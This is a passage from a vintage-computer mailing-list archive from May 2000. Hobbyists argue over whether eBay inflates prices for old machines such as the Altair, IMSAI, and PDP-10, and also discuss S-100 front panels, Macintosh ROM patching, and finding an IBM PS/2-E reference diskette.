most were trashed. What better way to guarantee something will be preserved than to put a value on it? So, what do you want? To preserve these wonder old machines, or just have a lot of free/cheap playthings? And sorry, not just to pick on you Sellam, it is a question I have thought about a lot myself. Whenever I get the itch to pick up something on ebay or a swap meet, I try to really think if it is something I can actually spend time with, or is it just another butterfly in the butterfly collection. I like ebay. ----- Jim Battle == frustum@pacbell.net From mikeford at socal.rr.com Tue May 9 23:18:25 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: >This makes no sense. eBay prices as a rule are always much more than once >can expect to find in the "real world". In fact, "real world" prices have Which "real world" would this be? Ebay is much higher than scrap yards, and much lower than legacy support. >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). Define artificial? Simple test, what items do you have that eBay prices are now too high on, such that you are willing to sell? Or is it just that eBay prices are too high for you to buy at, yet still far too low for you to sell at. From richard at idcomm.com Tue May 9 23:26:29 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <00c701bfba35$02933ca0$fd83fea9@office> Message-ID: <005301bfba37$ea9ba620$0400c0a8@winbook> I'm not so sure the scarcity of a computer, taken by itself, is a meaningful factor in determining the price on eBay. The Altair has gotten a lot of help from the "revenge of the nerds" thing on PTV, and there are a lot of folks who can remember not buying one back in the '70's because they were expensive, who now have more dough than they need. If it's well promoted, as the Altair has been by virtue of that PTV piece, among others, it matters little that the Altair was, in reality, a VERY mediocre product that barely worked when it did and mostly didn't. People did use them, after much effort, to accomplish useful work, however. I know of one civil engineer turned accident-reconstructionist who lost money during the years he used time-shared DEC computers but started to turn a profit once he bought his Altair. I doubt, by the way, that the value of the DEC service was a factor. Having nothing more than a teletype and a timeshare account was common back then. A lot of people spent lots of time sweating over an Altair, SOL, or IMSAI just to prove their decision to buy the thing wasn't misguided. Those are the guys who are bidding them up, I'd guess. Dick ----- Original Message ----- From: johnb To: Sent: Tuesday, May 09, 2000 10:05 PM Subject: Re: Ebay Altair > > > > > > I generally find eBay sells items for *less* money than the real world > when > > > it comes to classic computers. A *lot* of deep pocket collectors won't > use > > > > False. > > False? I *have* been asked by many deep pocket collectors not to put any > sort of large , really rare computers on eBay. I sold the PDP-15, a couple > /35s and a few other 8s through private offers. I personally don't think > eBay is the place to sell *huge* minicomputers. It was requested by 3 > already that I NOT put the PDP-10 on eBay as they would not bid, and really > that would not be too tasteful in my eyes anyway. > > > > > This makes no sense. eBay prices as a rule are always much more than once > > can expect to find in the "real world". In fact, "real world" prices have > > gotten inflated from people selling their old computers for eBay prices > > (I'm sure many here have come across people selling old computers, or > > really just about anything these days, and saying something to the effect > > of "I can get $X for this on eBay!!") > > It makes perfect sense. You get 4 or 5 multi-million $$ deep pockets > specifically looking for old minicomputer stuff and bidding heavily on eBay > and watch what would happen. Look at what happened to the Cray manual when > someone here on the list tried to bid against Nathan [closed around $2700, > and he was *not* going to be outbid]. Quite a few deep pocket collectors are > now looking at *preserving* either their first computer or put together a > small museum. $10,000 is nothing to pay for a small rare computer when you > have a billion. Put up something like a KA-10 on eBay for auction and inform > a few deep pockets and watch the bids[I know of 3 *really* deep pockets that > want one - period! ] > > > BTW: I put the PDP-11/35 on eBay *only* to show what these computers were > *really* selling for.. I was a bit upset as I got *less* than I usually do. > > As for using auctions to value computers? Sotheby's uses past auction sales > *to* determine value all the time. > > > > > > > personally will have a running KL10 available for offers but would not > want > > > to sell such a mini as a "featured catagory item" on eBay - some items > just > > > don't sit well on eBay. > > > > If it's too big to ship via UPS then it generally won't do well. > > > > Shipping a PDP-15 to the West Coast was under $2000. A PDP-8/I rackful to > the west coast - $800US. A PDP-11/35 to Chicago was under $200US (and would > not fit on a UPS truck). 40,000 pounds of computers to the West Coast (from > Toronto) - $7000US + ins. Airlines charge $1.20/pound on average to the US. > Trucks are much less if a large load is going. Shipping is a non issue when > it comes to heavy computers anymore. > > All depends how rare the computer is. > > > As I have always maintained in the past, eBay has done nothing but > > artifically inflate the prices for old computers to the detriment of this > > hobby (and others as well). > > > > I (most of all) am really fed up with eBay. I have lost several *volume* > PDP-8 and PDP-11 deals because the individual involved happens to look on > eBay to see what they are going for. I specifically lost 3 PDP-8/Es in NC > for a few hundred $$$ because this guy saw an 8/E sell on eBay for $1400US > just before the deal closed :-( > > http://www.pdp8.com/ > John > > > Sellam > > > > > From dpeschel at eskimo.com Tue May 9 23:31:45 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:37 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> from "Ron Hudson" at May 09, 2000 08:28:34 PM Message-ID: <200005100431.VAA28632@eskimo.com> > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? I don't know the answer to this one. > 2nd question > How did the control panel of the IMSAI work, was it controlled by a rom program > that lit the leds and read the switches? No, it's all run by hardware. It uses the voltage and timing conventions that are laid down in the 8080 manual. (They are the same conventions that the CPU uses to communicate with memory and peripherals.) Essentially the control panel intercepts the signals that would normally be sent automatically by the CPU or memory. I don't think it lets you do input and output, but theoretically you could do that too. With enough hardware you can do some pretty fancy stuff. The Mark 8 lets you give instructions to the CPU that don't come from anywhere in memory. (The CPU thinks they do, but they don't.) The PDP-12 lets you stop the computer if certain things happen (i.e., your program branches to a certain part of memory). There are also limitations to the hardware approach. For example, the 8080 in the IMSAI doesn't easily make the contents of its internal registers available, so you can't manipulate them with the control panel (except for the program counter). You could change that with enough work, but I don't know if anyone has. Newer CPUs have been designed to make this sort of hardware snooping easier, but they're still limited (you can only check for a certain number of conditions at the same time, for example). Heath made a computer (the H-8) which is similar to the IMSAI but actually does use a program to control the computer along with the usual hardware. The H-8 is a lot newer than the IMSAI, however. -- Derek From richard at idcomm.com Tue May 9 23:31:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <005b01bfba38$a9fe1840$0400c0a8@winbook> I believe the issue is that, as we've all been told, "it's worth what you can get for it" in the free market. Just because my computer only brought $50 doesn't mean that it's not worth $10K to some other person who just didn't buy mine. Who knows, maybe he bought mine from the guy who bought it from me. It's silly to argue over what an object of mixed value, depending on nostalgia and other intangibles, and probably of no other value at all in terms of utility, is worth. That's why auctions are the only "real" measure of their value. I HATE it when I'm just about to pay $5 for something and another guy comes along and says "Hey! I'll give you $50 for that!" It is, however, the way the market works. Dick ----- Original Message ----- From: Mike Ford To: Sent: Tuesday, May 09, 2000 10:18 PM Subject: Re: Ebay Altair > >This makes no sense. eBay prices as a rule are always much more than once > >can expect to find in the "real world". In fact, "real world" prices have > > Which "real world" would this be? > > Ebay is much higher than scrap yards, and much lower than legacy support. > > >As I have always maintained in the past, eBay has done nothing but > >artifically inflate the prices for old computers to the detriment of this > >hobby (and others as well). > > Define artificial? > > Simple test, what items do you have that eBay prices are now too high on, > such that you are willing to sell? Or is it just that eBay prices are too > high for you to buy at, yet still far too low for you to sell at. > > From foo at siconic.com Tue May 9 22:34:46 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <00c701bfba35$02933ca0$fd83fea9@office> Message-ID: On Wed, 10 May 2000, johnb wrote: > http://www.pdp8.com/ > John Oh, it's you that I'm talking to. I didn't realize that. Don't take that any particular way ;) From foo at siconic.com Tue May 9 22:36:14 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> Message-ID: On Tue, 9 May 2000, Ron Hudson wrote: > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? See http://www.imsai.net and click on the IMSAI Series Two link. Sellam From mikeford at socal.rr.com Tue May 9 23:31:05 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: References: <4.3.0.20000509203740.02182ba0@pc> Message-ID: >You mean besides stuffed animals Thanks for reminding me, almost forgot to list this. ;) http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=329144175 Win the bid and I will give you a $1 off shipping Sellam! From foo at siconic.com Tue May 9 22:44:19 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: Message-ID: On Tue, 9 May 2000, Mike Ford wrote: > >This makes no sense. eBay prices as a rule are always much more than once > >can expect to find in the "real world". In fact, "real world" prices have > > Which "real world" would this be? > > Ebay is much higher than scrap yards, and much lower than legacy support. Oh bother. Not this assanine argument again. > >As I have always maintained in the past, eBay has done nothing but > >artifically inflate the prices for old computers to the detriment of this > >hobby (and others as well). > > Define artificial? Go back into the archives and read all my messages concerning this. I don't want to start a sequel. > Simple test, what items do you have that eBay prices are now too high on, > such that you are willing to sell? Or is it just that eBay prices are too > high for you to buy at, yet still far too low for you to sell at. Aside from the fact that I'm having trouble comprehending this statement, suffice it to say I like niether to buy nor sell on eBay. I sold an IMSAI on eBay for $3,500 once because I needed it to fund VCF 3.0 and knew I would get a ridiculous price for it (don't tell the guy who bought it though :) Did I feel good about it? Not particularly. But did I feel bad about it? No. I sold a very nice system and the person who bought it felt they got a great deal. But the fact is *I* don't feel it was worth $3,500. And that he may have does not mean it's actually worth $3,500. It just means that particular person was willing to pay that amount. The problem is with trying to assign monetary value to something that intrinsically has more historical value. At least that's how I see this stuff. If I was in this for the money I could sell my entire collection and realistically bring in at least EBAY$200K with what I have. But fortunately I'm not in this for the money. The history is much more interesting. Sellam From foo at siconic.com Tue May 9 22:49:52 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <4.3.0.20000509210045.00b03570@pacbell.net> Message-ID: On Tue, 9 May 2000, Jim Battle wrote: > It is somewhat contradictory to have the position of wanting to preserve > old computers but at the same time wanting to return to the old days, > days when old machines were cheap but where most were trashed. > What better way to guarantee something will be preserved than to put > a value on it? This is not entirely true. A lot of old machines survived not because people thought they could make a buck or two on them but because they just couldn't bare to throw them out! In fact I'm still receiving 20-30 year old machines from people who have not been tainted by the eBay syndrome, but just want their beloved old machines that they didn't have the heart to just toss out go to a good retirement home. Granted eBay has a lot of machines listed. But that doesn't mean eBay necessarily coaxed them out of their closets, garages, attics, basements, etc. Before eBay there were (and still are believe it or not) things call flea markets and garage sales where these things still do pop up from time to time. > So, what do you want? To preserve these wonder old machines, > or just have a lot of free/cheap playthings? I pick "have a lot of free/cheap playthings". Or was that some sort of trick question? > And sorry, not just to pick on you Sellam, it is a question I have Not at all ;) > thought about a lot myself. Whenever I get the itch to pick up > something on ebay or a swap meet, I try to really think if it is > something I can actually spend time with, or is it just another > butterfly in the butterfly collection. It depends on what you intend to do with the butterflies, eh? > I like ebay. Heretic! :) From wilson at dbit.dbit.com Wed May 10 00:12:46 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:37 2005 Subject: s100 busses! In-Reply-To: ; from foo@siconic.com on Tue, May 09, 2000 at 08:36:14PM -0700 References: <3918D762.18B15E2E@ix.netcom.com> Message-ID: <20000510011246.A10763@dbit.dbit.com> On Tue, May 09, 2000 at 08:36:14PM -0700, foo wrote: > See http://www.imsai.net and click on the IMSAI Series Two link. Note that the IMSAI Series Two is still vaporware at this point, even though the web page makes it sound real. Todd Fischer says they're working out some kinks and shooting for early summer. They're also low on sheet metal right now but it's coming. I'm looking forward to completing the IMSAI I bought a couple of years ago for $25 (including a free VT78 with a bad PSU), and then NOT selling it on eBay!!!!! I *love* the idea of someone selling new S100 machines in this day and age! The idea of deriving the unregulated S100 PS voltages from a regular PC PSU using DC:DC converters is a bit scary, but I guess anything is possible if you use fat enough caps in a charge pump. If they're serious about using PCish keyboard/video stuff then the BIOS is going to have to be quite something, unless they've got an 8051 or something to help with terminal emulation. John Wilson D Bit From donm at cts.com Wed May 10 00:13:32 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <00c701bfba35$02933ca0$fd83fea9@office> Message-ID: On Wed, 10 May 2000, johnb wrote: > > > > > > I generally find eBay sells items for *less* money than the real world > when > > > it comes to classic computers. A *lot* of deep pocket collectors won't > use > > > > False. > > False? I *have* been asked by many deep pocket collectors not to put any > sort of large , really rare computers on eBay. I sold the PDP-15, a couple > /35s and a few other 8s through private offers. I personally don't think > eBay is the place to sell *huge* minicomputers. It was requested by 3 > already that I NOT put the PDP-10 on eBay as they would not bid, and really > that would not be too tasteful in my eyes anyway. > > > > > This makes no sense. eBay prices as a rule are always much more than once > > can expect to find in the "real world". In fact, "real world" prices have > > gotten inflated from people selling their old computers for eBay prices > > (I'm sure many here have come across people selling old computers, or > > really just about anything these days, and saying something to the effect > > of "I can get $X for this on eBay!!") > > It makes perfect sense. You get 4 or 5 multi-million $$ deep pockets > specifically looking for old minicomputer stuff and bidding heavily on eBay > and watch what would happen. Look at what happened to the Cray manual when > someone here on the list tried to bid against Nathan [closed around $2700, > and he was *not* going to be outbid]. Quite a few deep pocket collectors are > now looking at *preserving* either their first computer or put together a > small museum. $10,000 is nothing to pay for a small rare computer when you > have a billion. Put up something like a KA-10 on eBay for auction and inform > a few deep pockets and watch the bids[I know of 3 *really* deep pockets that > want one - period! ] > > > BTW: I put the PDP-11/35 on eBay *only* to show what these computers were > *really* selling for.. I was a bit upset as I got *less* than I usually do. > > As for using auctions to value computers? Sotheby's uses past auction sales > *to* determine value all the time. > > > > > > > personally will have a running KL10 available for offers but would not > want > > > to sell such a mini as a "featured catagory item" on eBay - some items > just > > > don't sit well on eBay. > > > > If it's too big to ship via UPS then it generally won't do well. > > > > Shipping a PDP-15 to the West Coast was under $2000. A PDP-8/I rackful to > the west coast - $800US. A PDP-11/35 to Chicago was under $200US (and would > not fit on a UPS truck). 40,000 pounds of computers to the West Coast (from > Toronto) - $7000US + ins. Airlines charge $1.20/pound on average to the US. > Trucks are much less if a large load is going. Shipping is a non issue when > it comes to heavy computers anymore. > > All depends how rare the computer is. > > > As I have always maintained in the past, eBay has done nothing but > > artifically inflate the prices for old computers to the detriment of this > > hobby (and others as well). > > > > I (most of all) am really fed up with eBay. I have lost several *volume* > PDP-8 and PDP-11 deals because the individual involved happens to look on > eBay to see what they are going for. I specifically lost 3 PDP-8/Es in NC > for a few hundred $$$ because this guy saw an 8/E sell on eBay for $1400US > just before the deal closed :-( Well, as you said in an earlier e-mail, prices are set by *demand*, and it sounds like the *demand* is less than what you demand ;^} - don > http://www.pdp8.com/ > John > > > Sellam > > > > > > From wilson at dbit.dbit.com Wed May 10 00:20:39 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:37 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <20000509183918.13225.qmail@brouhaha.com>; from eric@brouhaha.com on Tue, May 09, 2000 at 06:39:18PM -0000 References: <66.36e59e5.2648bcbe@aol.com> <20000509183918.13225.qmail@brouhaha.com> Message-ID: <20000510012039.B10763@dbit.dbit.com> On Tue, May 09, 2000 at 06:39:18PM -0000, Eric Smith wrote: > The Macintosh OS has gone through multiple cycles of adding large > chunks of new functionality to the System file, then moving those > pieces into ROM. Unfortunately when the code gets moved into ROM, > it doesn't usually get removed from the System file, because it still > is needed for older Macs since Apple typically does not offer ROM > upgrades. I may have this wrong, but I remember being told that this meant having a pretty complicated boot process where the ROM versions of various routines could be replaced by a newer version off the disk, and that the amount of code that had to be loaded from disk was sort of proportional to the age of the computer. And supposedly this meant that a generic (works on any machine) boot disk didn't have much free space, but if you (somehow) pared it down to have only the patches required for your particular computer (instead of all possible Macs throughout history) you could have a lot more space on the disk. Sound right? Wasn't there some point where they dropped support for the early Macs with less ROM (64 K vs. 128 K or something??????), or am I making that up? If so, was it just because thin Macs didn't have space for the bloat, or was there really something wrong with what was in ROM that was beyond help? John Wilson D Bit From ethan_dicks at yahoo.com Wed May 10 00:18:17 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:37 2005 Subject: Searching for PS/2-E (9533-DB7) reference diskette Message-ID: <20000510051817.22542.qmail@web612.mail.yahoo.com> I know it's not _quite_ 10 years old, but it's getting there. The principle of attraction has worked and my IBM quad-PCMCIA card has attracted a couple of hosts - a PS/2-E that it originally came out of. I have been to the IBM support site - no concrete references to the PS-2/E. I have located reference diskettes for all sorts of IBM-brand products, but not the 9533. It's distinguishing features include a low-power design with one ISA slot for this quad-PCMCIA card to minimize peripheral draw. Additionally, it uses a 2.5" laptop disk (120Mb) and only has one serial port. As shipped from IBM, there was an LCD panel for a monitor, but I've never seen that part in person, only in old ads. Does anyone have a disk image they can ship me, or a pointer to an image somewhere? I'm thinking of turning this into a router box. I have the PCMCIA NICs to do it with. Thanks, -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From go at ao.com Wed May 10 00:29:36 2000 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <4.2.2.20000509221208.03a80310@wave-rock.ao.com> At 18:04 5/9/00 -0700, you wrote: >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). > >Sellam For me, eBay has made it possible for to obtain a few things that would never have reasonably come my way. I could certainly roam around the U.S. and abroad and sniff around all the really good sites, but here in Oregon there isn't much coming available that I'm interested in (or that isn't being snapped up by one or more busier members of this list .) When you count the cost of even CHEAP transportation, eBay *can* (not always) be cheaper. What I truly find distressing though is the tendency to "chop" some items (e.g. front panels, core memory arrays, etc.) to make "trophies" to hang on the wall (I know this has been covered, ad nauseam.) One item that really ticks me off is the little .5 inch square core memory arrays being sold in little plastic "specimen" boxes. This is one area where I agree that eBay has made a frenzy of things. I doubt if more than a few percent of the core memories will ever find their way back into an operating system. In most cases, even if the memory planes are intact, they've been separated from their siblings and you'd never be able to reconnect the thousands of wires to reorganize the stack. I've been looking for some "intact" core stacks for years now and they're all showing up one plane at a time for at least $100 per trophy. And sellers are in no way interested in selling a complete stack. Of *course* they want to turn it into the $1000+ that eBay will bring... Do you blame them? This seems a lot like taking a sculpture and breaking it into a thousand pieces so you can sell them off for a higher price. "I couldn't afford the whole thing, but I did get a piece of it..." The want me back at the home, now... Oh well, -Gary From foo at siconic.com Tue May 9 23:35:27 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: s100 busses! In-Reply-To: <20000510011246.A10763@dbit.dbit.com> Message-ID: On Wed, 10 May 2000, John Wilson wrote: > I *love* the idea of someone selling new S100 machines in this day and age! Actually it's unprecedented. As far as I know this is the first example of a company coming out of hibernation (according to Todd IMSAI never really ceased to exist) and offering a new model of an obsoleted computer product line. If there are any other examples of this I'd like to hear about them. From aw288 at osfn.org Wed May 10 00:46:43 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: > I generally find eBay sells items for *less* money than the real world when > it comes to classic computers. A *lot* of deep pocket collectors won't use > the service to purchase old computers from. I have been told by many that > they would rather do private offers or sales as eBay would *really* blow the > prices out of perspective [take Nathan Myhrvold bids for example] . I > personally will have a running KL10 available for offers but would not want > to sell such a mini as a "featured catagory item" on eBay - some items just > don't sit well on eBay. When you go to sell the KL10 and set it as the benchmark value, please divide your value in two, as RCS/RI received a KL10 for free. Additionally, if you set a benchmark value for KS10s, please divide your value by six or so, as a number of us (RCS/RI, RICM, Carl, myself and others) have received machines for free. Street price kind of blows the mean, doesn't it? Another thing, stop advertising vaporware. I do not think you know what you are in for in a KL10. I know of that specific machine, but I doubt you will be able to boot it. Some of use are still waiting for that IBM S/360, anyway. And the PDP-1. And the KA10. Finally, it is very bad form to comment about a bidder's habits with a real name in a public forum. The whole idea behind eBay names is to shield the bidders. This idea applies to most non-government auctions in general. John B, you may be OK to talk to and certainly you know your way around a machine, but you need to take some night courses in ethics, economics, and statistics. William Donzelli aw288@osfn.org From ernestls at home.com Wed May 10 00:50:07 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <4.2.2.20000509221208.03a80310@wave-rock.ao.com> Message-ID: <000501bfba43$993621a0$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Gary Oliver Sent: Tuesday, May 09, 2000 10:30 PM To: classiccmp@classiccmp.org Subject: Re: Ebay Altair At 18:04 5/9/00 -0700, you wrote: >snip What I truly find distressing though is the tendency to "chop" some items (e.g. front panels, core memory arrays, etc.) to make "trophies" to hang on the wall (I know this has been covered, ad nauseam.) One item that really ticks me off is the little .5 inch square core memory arrays being sold in little plastic "specimen" boxes. -Gary Yeah, I know what you mean. I have several very complete computer systems that I've wondered how high the bidding would go on them (just out of curiosity) if I were to place them on Ebay but the truth is, I doubt that I would sell them on Ebay if I ever decided to part with them for the reason that you listed above -I would be worried that someone would buy my system, tear it to pieces, and re-sell the parts. Shiver. I spent a lot of time collecting things to be able to piece together complete systems, and I think that it would break my heart to watch someone break the systems up for parts to sell "for more money." I like ebay but I don't like it when I see some seller who has obviously dismantled a complete computer to sell for parts -even to the point of selling individual manuals, etc.. It may be practical for a seller to do that but the collector in me feels a sense of loss to see these parts scattered to the wind. Ernest From marvin at rain.org Wed May 10 00:54:31 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: Message-ID: <3918F997.6DC233E3@rain.org> foo wrote: > > > >As I have always maintained in the past, eBay has done nothing but > > >artifically inflate the prices for old computers to the detriment of this > > >hobby (and others as well). The free market works well when there is communication between buyers and sellers. We most likely will continue to disagree about ebay as its effects on prices vs worth. I, and many others, have gotten some very good deals on ebay generally because of mis-spellings, wrong classification, etc. which imply ignorance on the part of the seller. Does this mean the seller got what their item was worth ... or they got what was coming to them? > The problem is with trying to assign monetary value to something that > intrinsically has more historical value. At least that's how I see this > stuff. If I was in this for the money I could sell my entire collection > and realistically bring in at least EBAY$200K with what I have. But > fortunately I'm not in this for the money. The history is much more > interesting. I think most of us are in this hobby either to preserve the history (as in my case) or just to have fun with. The price you quote as to the worth of your collection in ebay dollars is probably understated ... ASSUMING that you didn't put the whole collection up at one time. From foo at siconic.com Wed May 10 00:06:49 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: Archives? Message-ID: How come the CC archives at classiccmp.org are so sparse? What happened to the main archives? Is there somewhere I can go to find the complete thing? It would suck majorly if there is no longer a CC archive. From mikeford at socal.rr.com Wed May 10 01:08:53 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:37 2005 Subject: Searching for PS/2-E (9533-DB7) reference diskette In-Reply-To: <20000510051817.22542.qmail@web612.mail.yahoo.com> Message-ID: >I know it's not _quite_ 10 years old, but it's getting there. The principle >of attraction has worked and my IBM quad-PCMCIA card has attracted a couple >of hosts - a PS/2-E that it originally came out of. I have been to the IBM >support site - no concrete references to the PS-2/E. I have located reference >diskettes for all sorts of IBM-brand products, but not the 9533. It's http://www.inwave.com/~ohlandl/9533.html http://www.inwave.com/~ohlandl/9533.html#Starter/Diags From marvin at rain.org Wed May 10 01:14:18 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <4.2.2.20000509221208.03a80310@wave-rock.ao.com> Message-ID: <3918FE3A.560AF15C@rain.org> Gary Oliver wrote: > > > This is one area where I agree that eBay has made a frenzy of things. > I doubt if more than a few percent of the core memories will ever > find their way back into an operating system. In most cases, even > if the memory planes are intact, they've been separated from their > siblings and you'd never be able to reconnect the thousands of wires > to reorganize the stack. I've been looking for some "intact" core > stacks for years now and they're all showing up one plane at a time > for at least $100 per trophy. And sellers are in no way interested I am not sure what ebay you are looking at, but I just took a look at completed "core memory" auctions and the prices seemed to be in the $40 - $50 range. I sold some DataRam core plane modules that closed around $40 or so untested. It was only a few months ago I talked to a person who was still selling these core planes tested and working for $1000. I think the person who is cutting up the core planes and selling sections could be best described as sick ... almost as sick as the people who buy them and make it worth someones time and money to cut these things apart. From mikeford at socal.rr.com Wed May 10 01:13:42 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:37 2005 Subject: s100 busses! In-Reply-To: References: <20000510011246.A10763@dbit.dbit.com> Message-ID: >On Wed, 10 May 2000, John Wilson wrote: > >> I *love* the idea of someone selling new S100 machines in this day and age! > >Actually it's unprecedented. As far as I know this is the first example >of a company coming out of hibernation (according to Todd IMSAI never >really ceased to exist) and offering a new model of an obsoleted >computer product line. > >If there are any other examples of this I'd like to hear about them. MacIntosh MC275 tube amplifier rereleased a few years ago in a limited run of about 5000. Western Electric going back into production of the 300B tube. Neumann I think also did a U67 again. Not too many areas where it is possible to bring back an old product, do to regs etc. From dpeschel at eskimo.com Wed May 10 02:16:23 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:37 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <20000510012039.B10763@dbit.dbit.com> from "John Wilson" at May 10, 2000 01:20:39 AM Message-ID: <200005100716.AAA07051@eskimo.com> John Wilson wrote: > On Tue, May 09, 2000 at 06:39:18PM -0000, Eric Smith wrote: > > The Macintosh OS has gone through multiple cycles of adding large > > chunks of new functionality to the System file, then moving those > > pieces into ROM. Unfortunately when the code gets moved into ROM, > > it doesn't usually get removed from the System file, because it still > > is needed for older Macs since Apple typically does not offer ROM > > upgrades. > > I may have this wrong, but I remember being told that this meant having a > pretty complicated boot process where the ROM versions of various routines > could be replaced by a newer version off the disk, Yes, because the ROM is largely made up of resources (i.e., the things you can edit with ResEdit). The system file on disk is largely made up of resources too. This may not be so true now as it was (and ResEdit hasn't been updated in a long time). > but if you (somehow) pared it down > to have only the patches required for your particular computer (instead of > all possible Macs throughout history) you could have a lot more space on > the disk. Sound right? Basically, except that the whole thing got an order of magnitude more complicated after Ssytem 7 came out. Systems 8 and 9 made things even more complicated and OS X will probably _really_ stir things up. The ROMs on newer machiens have gone though a lot of changes too; after a certain point they checked to see if you were booting with System 7 or later and put up an error if you weren't. I think you can get around this (I've seen it once) but I'm not sure how. It's not easy these days to make a universal boot disk. Anyway, it would have to be a Zip cartridge or CD-ROM (or some other large-capacity medium) now. > Wasn't there some point where they dropped support for the early Macs with > less ROM (64 K vs. 128 K or something??????), or am I making that up? If so, > was it just because thin Macs didn't have space for the bloat, or was there > really something wrong with what was in ROM that was beyond help? I don't know. The issues of (lack of) guaranteed backward compatibility, in-depth documentation about the OS and ROM, upgradability of the ROMs, and the possibility of using other OSs are all "knee-jerk reaction" issues to me. In other words, I don't know the answers, but I suspect they are bad and gripe accordingly. The documentation I've seen is largely out of date. The Mac architecture has gone through a large number of changes (some small, some big). PCI and Open Firmware are promising developments in some ways. (especially regarding the use of other OSs), however. I'm a happy Mac user but really out-of-touch with Apple or with Mac development. Maybe Eric knows more. Eric? -- Derek From wilson at dbit.dbit.com Wed May 10 03:31:48 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: ; from aw288@osfn.org on Wed, May 10, 2000 at 01:46:43AM -0400 References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <20000510043148.A11225@dbit.dbit.com> On Wed, May 10, 2000 at 01:46:43AM -0400, William Donzelli wrote: > When you go to sell the KL10 and set it as the benchmark value, please > divide your value in two, as RCS/RI received a KL10 for free. And there were originally plenty more where that one came from, but the guy who owned them at the time (he had at least a dozen, plus piles of tape drives and over thirty RP06es) was unable to find takers for his machines, even for free. Not even the low-serial-number model A that he had (I wish I'd had space for it, as it was I just got the TC11/TU56 off the FE). So he ended up driving a liftgate truck slowly across a scrap yard, pushing KL10 racks out the back every few feet, it was heartbreaking. I'm sure John B will be quick to differentiate between a 100% restored KL10, and one with problems like the one RCS/RI got, but practically speaking it probably doesn't make much difference. A machine full of >20-year-old wire wrap backplanes is going to be inherently unreliable, just because it works today doesn't mean it's not going to take a little tweaking the next time you want to take it for a spin. And keeping a string of RP06es and a TU78 alive is no picnic. Anyway I think it's funny how opposite the viewpoints are here. On the one hand there are people who appear to believe that the value of a machine is approximately equal to the maximum that any sucker has *ever* paid for a similar machine. Meanwhile, the rest of us say "hey I got five of those for free, working and with docs/software, therefore yours is worthless too". Neither one is quite accurate... I seriously think eBay is likely to trigger some kind of 12-step program for auction junkies. Really, it's a bit like gambling, people get really competitive sometimes and end up paying prices that have nothing to do with anyone's concept of what the item is worth, just because they feel that they need to win at any cost. So I think these ridiculous prices for old computer junk are more of an indicator of the buyers' compulsions, than anything to do with the real value of the merchandise. Meanwhile, I really do like eBay for getting ahold of stuff that is *not* considered "collectable". I bought my floppy disk duplicating machine that way for 1/3 what a refurbed unit would cost from a dealer, same deal for my gummed tape machine, also got a nice linear tracking turntable for practically nothing (those show up all the time). My wife uses it to get out-of-print art/photography books for less than what the bookstores charge (and they hardly ever really find anything anyway). There are plenty of things which are too specialized to be easily bought/sold through local classified ads, but not specialized enough to demand ridiculous prices and ruin the market for mere mortals, so something like eBay actually helps everybody 